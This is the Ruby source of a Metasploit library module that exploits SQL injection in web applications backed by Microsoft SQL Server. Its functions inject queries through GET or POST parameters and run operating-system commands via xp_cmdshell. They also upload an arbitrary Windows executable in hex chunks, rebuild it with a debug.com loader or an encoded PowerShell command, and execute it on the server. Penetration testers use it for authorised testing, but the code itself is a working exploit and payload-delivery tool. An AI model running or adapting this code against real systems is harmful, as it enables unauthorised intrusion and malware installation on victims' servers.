184 lines
6.2 KiB
Ruby
184 lines
6.2 KiB
Ruby
# -*- coding: binary -*-
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/mssql_commands'
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# This module wraps functionality for exploiting SQL injection vulnerabilities
|
|
# Some of the functionality has been borrowed from mssql.rb
|
|
#
|
|
###
|
|
module Exploit::Remote::MSSQL_SQLI
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
#
|
|
# Creates an instance of a MSSQL exploit module.
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
|
|
# Register the options that all MSSQL exploits may make use of.
|
|
register_options(
|
|
[
|
|
Opt::RHOST,
|
|
Opt::RPORT(80),
|
|
OptString.new('METHOD', [ true, 'GET or POST', 'GET']),
|
|
OptString.new('GET_PATH', [ true, 'The complete path with [SQLi] indicating the injection', '/']),
|
|
OptString.new('DATA', [ false, 'POST data, if necessary, with [SQLi] indicating the injection', '']),
|
|
OptString.new('COOKIE', [ false, 'Cookie value', '']),
|
|
], Msf::Exploit::Remote::MSSQL_SQLI)
|
|
register_advanced_options(
|
|
[
|
|
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
|
|
File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
|
|
])
|
|
], Msf::Exploit::Remote::MSSQL_SQLI)
|
|
|
|
register_autofilter_ports([ 80, 443, 8080 ])
|
|
register_autofilter_services(%W{ http https })
|
|
end
|
|
|
|
|
|
#
|
|
# Execute a system command via xp_cmdshell
|
|
#
|
|
def mssql_xpcmdshell(cmd,doprint=false,opts={})
|
|
force_enable = false
|
|
begin
|
|
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint)
|
|
#mssql_print_reply(res) if doprint
|
|
|
|
return res
|
|
|
|
rescue RuntimeError => e
|
|
if(e.to_s =~ /xp_cmdshell disabled/)
|
|
force_enable = true
|
|
retry
|
|
end
|
|
raise e
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Upload and execute a Windows binary through MSSQL queries
|
|
#
|
|
def mssql_upload_exec(exe, debug=false)
|
|
hex = exe.unpack("H*")[0]
|
|
|
|
var_bypass = rand_text_alpha(8)
|
|
var_payload = rand_text_alpha(8)
|
|
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
print_status("Writing the debug.com loader to the disk...")
|
|
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
|
|
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
|
|
h2b.split(/\n/).each do |line|
|
|
mssql_xpcmdshell("#{line}", false)
|
|
end
|
|
|
|
print_status("Converting the debug script to an executable...")
|
|
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
|
|
|
|
print_status("Uploading the payload, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
|
|
print_status("Converting the encoded payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 10})
|
|
end
|
|
|
|
#
|
|
# Upload and execute a Windows binary through MSSQL queries and Powershell
|
|
#
|
|
def powershell_upload_exec(exe, debug=false)
|
|
|
|
# hex converter
|
|
hex = exe.unpack("H*")[0]
|
|
# create random alpha 8 character names
|
|
#var_bypass = rand_text_alpha(8)
|
|
var_payload = rand_text_alpha(8)
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
# our payload converter, grabs a hex file and converts it to binary for us through powershell
|
|
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
|
|
h2b_unicode=Rex::Text.to_unicode(h2b)
|
|
# base64 encode it, this allows us to perform execution through powershell without registry changes
|
|
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
|
|
print_status("Uploading the payload #{var_payload}, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
|
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
|
print_status("Be sure to cleanup #{var_payload}.exe...")
|
|
end
|
|
|
|
#
|
|
# Issue a SQL query using the SQL injection point
|
|
#
|
|
def mssql_query(sqla, doprint=false)
|
|
|
|
if (doprint)
|
|
print_status(sqla)
|
|
end
|
|
if (datastore['METHOD'] == 'GET')
|
|
|
|
unless datastore['GET_PATH'].index("[SQLi]")
|
|
fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path")
|
|
end
|
|
|
|
uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
|
|
res = send_request_cgi({
|
|
'uri' => uri,
|
|
'method' => 'GET',
|
|
'cookie' => datastore['COOKIE'],
|
|
'headers' => {
|
|
'Accept' => '*/*',
|
|
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
|
}
|
|
}, 5)
|
|
else
|
|
|
|
unless datastore['DATA'].index("[SQLi]")
|
|
fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data")
|
|
end
|
|
|
|
post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
|
|
uri = datastore['GET_PATH']
|
|
res = send_request_cgi({
|
|
'uri' => uri,
|
|
'method' => 'POST',
|
|
'data' => post_data,
|
|
'cookie' => datastore['COOKIE'],
|
|
'headers' => {
|
|
'Accept' => '*/*',
|
|
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
|
|
}
|
|
}, 5)
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
end
|